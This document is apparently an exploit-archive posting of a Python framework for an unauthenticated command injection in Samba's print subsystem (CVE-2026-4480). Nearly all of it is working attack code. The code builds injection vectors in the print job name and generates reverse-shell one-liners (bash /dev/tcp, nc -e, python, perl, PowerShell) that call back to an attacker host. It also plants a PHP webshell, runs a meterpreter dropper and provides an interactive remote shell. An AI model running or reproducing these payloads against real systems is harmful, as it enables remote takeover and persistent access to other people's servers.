Share
## https://sploitus.com/exploit?id=PACKETSTORM:225263
==================================================================================================================================
| # Title : Samba Print Spooler Subsystem Command Injection Assessment Tool Review |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : System built in component |
==================================================================================================================================
[+] Summary : The provided script is not limited to vulnerability validation; it is a full exploitation framework designed for remote command execution through the Samba printing subsystem.
[+] POC :
#!/usr/bin/env python3
import argparse
import sys
import time
import base64
import random
import string
import socket
import re
from typing import Optional, Tuple
try:
from samba.dcerpc import spoolss
from samba.param import LoadParm
from samba.credentials import Credentials
SAMBA_AVAILABLE = True
except ImportError:
SAMBA_AVAILABLE = False
print("[-] Samba Python bindings not found.", file=sys.stderr)
print("[*] Install with: sudo apt-get install python3-samba", file=sys.stderr)
try:
from impacket.dcerpc.v5 import transport, spoolss as impacket_spoolss
from impacket.dcerpc.v5.dcomrt import DCOMConnection
IMPACKET_AVAILABLE = True
except ImportError:
IMPACKET_AVAILABLE = False
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
BOLD = '\033[1m'
DIM = '\033[2m'
RESET = '\033[0m'
def print_banner():
banner = f"""
{Colors.RED}{Colors.BOLD}
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
โ CVE-2026-4480 - Samba Print Command Injection (Critical RCE) โ
โ โ
โ "A single print job name should never become a shell command" โ
โ โ
โ CVSS: 10.0 (CRITICAL) | Remote Code Execution | Unauthenticated โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ{Colors.RESET}
"""
print(banner)
class SambaPrintExploit:
"""Main exploit class for CVE-2026-4480"""
def __init__(self, target: str, printer: str = "print$",
timeout: int = 30, verbose: bool = False):
self.target = target
self.printer = printer
self.timeout = timeout
self.verbose = verbose
self.smb_port = 445
def log(self, msg: str, level: str = "info"):
"""Logging with colors"""
prefixes = {
"info": f"{Colors.CYAN}[*]{Colors.RESET}",
"success": f"{Colors.GREEN}[+]{Colors.RESET}",
"error": f"{Colors.RED}[-]{Colors.RESET}",
"warning": f"{Colors.YELLOW}[!]{Colors.RESET}",
"debug": f"{Colors.DIM}[D]{Colors.RESET}"
}
print(f"{prefixes.get(level, '[?]')} {msg}")
if self.verbose and level == "debug":
sys.stdout.flush()
def sanitize_command(self, cmd: str) -> str:
"""Sanitize and format command for injection"""
cmd = cmd.strip()
if ";" in cmd or "&&" in cmd or "||" in cmd:
self.log("Detected multi-command injection", "warning")
return cmd
def generate_payload_command(self, cmd: str) -> bytes:
"""Generate payload for single command execution"""
if cmd.startswith("cmd://"):
actual_cmd = cmd[6:]
payload = f"| cmd /c {actual_cmd}\n"
else:
injection_vectors = [
f"`{cmd}`",
f"$({cmd})",
f"| {cmd}",
f"; {cmd}",
f"|| {cmd}",
f"&& {cmd}",
f"$(echo {base64.b64encode(cmd.encode()).decode()}|base64 -d|sh)", # Base64 encoded
]
payload = ";".join(injection_vectors) + "\n"
return payload.encode()
def generate_reverse_shell(self, lhost: str, lport: int,
shell_type: str = "bash") -> bytes:
"""Generate reverse shell payload"""
reverse_shells = {
"bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
"sh": f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1",
"nc": f"nc -e /bin/sh {lhost} {lport}",
"python": f"""python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("{lhost}",{lport}));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"])'""",
"perl": f"""perl -e 'use Socket;
$i="{lhost}";$p={lport};
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}}'""",
"powershell": f"""powershell -NoP -NonI -W Hidden -Exec Bypass -Command
"$c=New-Object System.Net.Sockets.TCPClient('{lhost}',{lport});
$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};
while(($i=$s.Read($b,0,$b.Length)) -ne 0){{;
$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);
$sb=(iex $d 2>&1 | Out-String );
$sb2=$sb + 'PS ' + (pwd).Path + '> ';
$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);
$s.Flush()}};$c.Close()"""
}
payload_template = reverse_shells.get(shell_type.lower(), reverse_shells["bash"])
final_payload = f"nohup {payload_template} >/dev/null 2>&1 &"
injected_payload = f"|{final_payload}\n"
return injected_payload.encode()
def generate_web_shell(self, webshell_path: str = "/var/www/html/shell.php") -> bytes:
"""Generate PHP webshell payload"""
php_shell = f'''<?php
if(isset($_REQUEST['cmd'])) {{
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}}
?>'''
b64_php = base64.b64encode(php_shell.encode()).decode()
cmd = f"echo {b64_php} | base64 -d > {webshell_path}"
return self.generate_payload_command(cmd)
def generate_meterpreter_payload(self, lhost: str, lport: int) -> bytes:
"""Generate msfvenom meterpreter payload download and execute"""
msf_payload = f"""msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o /tmp/.payload &&
chmod +x /tmp/.payload &&
/tmp/.payload"""
return self.generate_payload_command(msf_payload)
def test_vulnerability(self) -> Tuple[bool, str]:
"""Test if target is vulnerable to CVE-2026-4480"""
self.log(f"Testing vulnerability on {self.target}...")
test_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
test_cmd = f"touch /tmp/cve20264480_{test_id} && echo 'VULNERABLE'"
try:
self.exploit_via_samba(test_cmd)
time.sleep(3)
self.log("Test command sent successfully", "success")
return True, "Target appears vulnerable to command injection"
except Exception as e:
self.log(f"Test failed: {e}", "error")
return False, str(e)
def exploit_via_samba(self, command: str) -> bool:
"""Execute command using Samba Python bindings"""
if not SAMBA_AVAILABLE:
self.log("Samba Python bindings not available", "error")
return False
try:
self.log(f"Connecting to SMB share on {self.target}...")
lp = LoadParm()
lp.load_default()
creds = Credentials()
creds.guess(lp)
creds.set_anonymous()
binding = f"ncacn_np:{self.target}[\\pipe\\spoolss]"
iface = spoolss.spoolss(binding, lp, creds)
printer_path = f"\\\\{self.target}\\{self.printer}"
self.log(f"Opening printer: {printer_path}", "debug")
handle = iface.OpenPrinter(
printer_path,
"",
spoolss.DevmodeContainer(),
spoolss.SERVER_ACCESS_ADMINISTER
)
doc_info = spoolss.DocumentInfo1()
doc_info.document_name = command # The %J injection point!
doc_info.datatype = "RAW"
doc_info.output_file = None
doc_ctr = spoolss.DocumentInfoCtr()
doc_ctr.level = 1
doc_ctr.info = doc_info
self.log("Starting print job with malicious job name...", "debug")
iface.StartDocPrinter(handle, doc_ctr)
iface.StartPagePrinter(handle)
dummy_data = b"%PDF-1.4\n1 0 obj\n<< /Type /Catalog >>\nendobj\n%%EOF\n"
iface.WritePrinter(handle, dummy_data, len(dummy_data))
iface.EndPagePrinter(handle)
iface.EndDocPrinter(handle)
iface.ClosePrinter(handle)
self.log("Print job completed successfully", "success")
return True
except Exception as e:
self.log(f"Exploit failed: {e}", "error")
if self.verbose:
import traceback
traceback.print_exc()
return False
def exploit_via_impacket(self, command: str) -> bool:
"""Alternative exploit using impacket library"""
if not IMPACKET_AVAILABLE:
self.log("Impacket not available", "error")
return False
try:
self.log("Attempting exploit via impacket...")
string_binding = f"ncacn_np:{self.target}[\\pipe\\spoolss]"
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_credentials(
username="",
password="",
domain="",
lmhash="",
nthash=""
)
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(impacket_spoolss.MSRPC_UUID_SPOOLSS)
printer_handle = impacket_spoolss.hOpenPrinter()
resp = impacket_spoolss.OpenPrinter(dce,
f"\\\\{self.target}\\{self.printer}",
printer_handle)
document_name = command # %J injection
datatype = "RAW"
job_id = impacket_spoolss.StartDocPrinter(dce, printer_handle, document_name, datatype)
impacket_spoolss.StartPagePrinter(dce, printer_handle)
impacket_spoolss.WritePrinter(dce, printer_handle, b"Test print data")
impacket_spoolss.EndPagePrinter(dce, printer_handle)
impacket_spoolss.EndDocPrinter(dce, printer_handle)
impacket_spoolss.ClosePrinter(dce, printer_handle)
self.log("Exploit via impacket successful", "success")
return True
except Exception as e:
self.log(f"Impacket exploit failed: {e}", "error")
return False
def exploit(self, command: str) -> bool:
"""Main exploit execution"""
self.log(f"Exploiting CVE-2026-4480 against {self.target}")
self.log(f"Injection payload: {command[:100]}...", "debug")
if SAMBA_AVAILABLE:
result = self.exploit_via_samba(command)
if result:
return True
if IMPACKET_AVAILABLE:
result = self.exploit_via_impacket(command)
if result:
return True
self.log("All exploitation methods failed", "error")
return False
def interactive_shell(self, lhost: str = None, lport: int = None):
"""Start interactive shell via reverse shell"""
if lhost and lport:
self.log(f"Starting reverse shell handler on {lhost}:{lport}")
self.log("Waiting for connection...")
payload = self.generate_reverse_shell(lhost, lport)
self.exploit(payload.decode().strip())
self.log(f"Run 'nc -lvnp {lport}' to catch reverse shell", "warning")
else:
self.log("Starting interactive command shell (type 'exit' to quit)")
while True:
try:
cmd = input(f"{Colors.GREEN}samba-shell>{Colors.RESET} ").strip()
if cmd.lower() in ['exit', 'quit']:
break
if cmd:
output_file = f"/tmp/.output_{random.randint(1000,9999)}"
exec_cmd = f"{cmd} > {output_file} 2>&1 && cat {output_file} && rm {output_file}"
payload = self.generate_payload_command(exec_cmd)
if self.exploit(payload.decode().strip()):
print()
else:
self.log("Command execution failed", "error")
except KeyboardInterrupt:
print()
break
except Exception as e:
self.log(f"Error: {e}", "error")
def main():
print_banner()
parser = argparse.ArgumentParser(
description="CVE-2026-4480 - Samba Print Command Injection (Critical RCE)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=f"""
{Colors.YELLOW}EXAMPLES:{Colors.RESET}
{Colors.CYAN}python3 {sys.argv[0]} 192.168.1.100 -c "id > /tmp/test"{Colors.RESET}
{Colors.CYAN}python3 {sys.argv[0]} 192.168.1.100 -r 10.0.0.1 4444{Colors.RESET}
{Colors.CYAN}python3 {sys.argv[0]} 192.168.1.100 -r 10.0.0.1 4444 --shell-type python{Colors.RESET}
{Colors.CYAN}python3 {sys.argv[0]} 192.168.1.100 --webshell /var/www/html/shell.php{Colors.RESET}
{Colors.CYAN}python3 {sys.argv[0]} 192.168.1.100 --interactive{Colors.RESET}
{Colors.CYAN}python3 {sys.argv[0]} 192.168.1.100 --test{Colors.RESET}
"""
)
parser.add_argument("target", help="Target Samba server IP or hostname")
parser.add_argument("-P", "--printer", default="print$",
help="Printer share name (default: print$)")
parser.add_argument("-p", "--port", type=int, default=445,
help="SMB port (default: 445)")
mode_group = parser.add_mutually_exclusive_group(required=True)
mode_group.add_argument("-c", "--command", metavar="CMD",
help="Execute a single command")
mode_group.add_argument("-r", "--reverse", nargs=2, metavar=("LHOST", "LPORT"),
help="Get reverse shell (usage: -r LHOST LPORT)")
mode_group.add_argument("--webshell", metavar="PATH",
help="Deploy PHP webshell (default: /var/www/html/shell.php)")
mode_group.add_argument("--meterpreter", nargs=2, metavar=("LHOST", "LPORT"),
help="Generate meterpreter payload")
mode_group.add_argument("--interactive", action="store_true",
help="Start interactive command shell")
mode_group.add_argument("--test", action="store_true",
help="Test if target is vulnerable")
parser.add_argument("--shell-type", default="bash",
choices=["bash", "sh", "nc", "python", "perl", "powershell"],
help="Shell type for reverse shell (default: bash)")
parser.add_argument("-v", "--verbose", action="store_true",
help="Enable verbose output")
parser.add_argument("--timeout", type=int, default=30,
help="Connection timeout in seconds")
args = parser.parse_args()
exploit = SambaPrintExploit(
target=args.target,
printer=args.printer,
timeout=args.timeout,
verbose=args.verbose
)
if args.test:
print(f"\n{Colors.BOLD}[*] Testing mode enabled{Colors.RESET}\n")
vulnerable, message = exploit.test_vulnerability()
if vulnerable:
print(f"\n{Colors.GREEN}[โ] Target is VULNERABLE to CVE-2026-4480!{Colors.RESET}")
print(f"{Colors.GREEN}[โ] {message}{Colors.RESET}")
else:
print(f"\n{Colors.RED}[โ] Target does not appear vulnerable{Colors.RESET}")
print(f"{Colors.RED}[โ] {message}{Colors.RESET}")
return
elif args.command:
print(f"\n{Colors.BOLD}[*] Single command mode{Colors.RESET}\n")
command = args.command
payload = exploit.generate_payload_command(command).decode().strip()
if exploit.exploit(payload):
print(f"\n{Colors.GREEN}[โ] Command executed successfully!{Colors.RESET}")
print(f"{Colors.YELLOW}[!] Check command output on target system{Colors.RESET}")
else:
print(f"\n{Colors.RED}[โ] Command execution failed{Colors.RESET}")
elif args.reverse:
print(f"\n{Colors.BOLD}[*] Reverse shell mode{Colors.RESET}\n")
lhost, lport = args.reverse
lport = int(lport)
payload = exploit.generate_reverse_shell(lhost, lport, args.shell_type)
payload_str = payload.decode().strip()
print(f"{Colors.CYAN}[*] Payload: {payload_str[:100]}...{Colors.RESET}")
print(f"{Colors.YELLOW}[!] Start listener: nc -lvnp {lport}{Colors.RESET}")
print(f"{Colors.YELLOW}[!] Or use: rlwrap nc -lvnp {lport}{Colors.RESET}")
if exploit.exploit(payload_str):
print(f"\n{Colors.GREEN}[โ] Reverse shell payload sent!{Colors.RESET}")
else:
print(f"\n{Colors.RED}[โ] Failed to send reverse shell payload{Colors.RESET}")
elif args.webshell:
print(f"\n{Colors.BOLD}[*] Webshell deployment mode{Colors.RESET}\n")
webshell_path = args.webshell
payload = exploit.generate_web_shell(webshell_path)
if exploit.exploit(payload.decode().strip()):
print(f"{Colors.GREEN}[โ] Webshell deployed to {webshell_path}{Colors.RESET}")
print(f"{Colors.CYAN}[*] Access webshell: http://{args.target}{webshell_path}?cmd=id{Colors.RESET}")
else:
print(f"{Colors.RED}[โ] Failed to deploy webshell{Colors.RESET}")
elif args.meterpreter:
print(f"\n{Colors.BOLD}[*] Meterpreter payload mode{Colors.RESET}\n")
lhost, lport = args.meterpreter
lport = int(lport)
print(f"{Colors.YELLOW}[!} Generate payload with: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o /tmp/payload{Colors.RESET}")
print(f"{Colors.YELLOW}[!] Start Metasploit handler: use exploit/multi/handler{Colors.RESET}")
payload = exploit.generate_meterpreter_payload(lhost, lport)
if exploit.exploit(payload.decode().strip()):
print(f"{Colors.GREEN}[โ] Meterpreter payload sent!{Colors.RESET}")
else:
print(f"{Colors.RED}[โ] Failed to send meterpreter payload{Colors.RESET}")
elif args.interactive:
print(f"\n{Colors.BOLD}[*] Interactive shell mode{Colors.RESET}\n")
print(f"{Colors.YELLOW}[!] Commands will execute on {args.target}{Colors.RESET}")
print(f"{Colors.YELLOW}[!] Type 'exit' to quit{Colors.RESET}\n")
exploit.interactive_shell()
if __name__ == "__main__":
if not SAMBA_AVAILABLE and not IMPACKET_AVAILABLE:
print(f"{Colors.RED}Error: No working SMB libraries available{Colors.RESET}")
print(f"{Colors.YELLOW}Install python3-samba or impacket:{Colors.RESET}")
print(" sudo apt-get install python3-samba")
print(" or")
print(" pip3 install impacket")
sys.exit(1)
try:
main()
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}[!] Interrupted by user{Colors.RESET}")
sys.exit(0)
except Exception as e:
print(f"{Colors.RED}Unexpected error: {e}{Colors.RESET}")
if '--verbose' in sys.argv:
import traceback
traceback.print_exc()
sys.exit(1)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================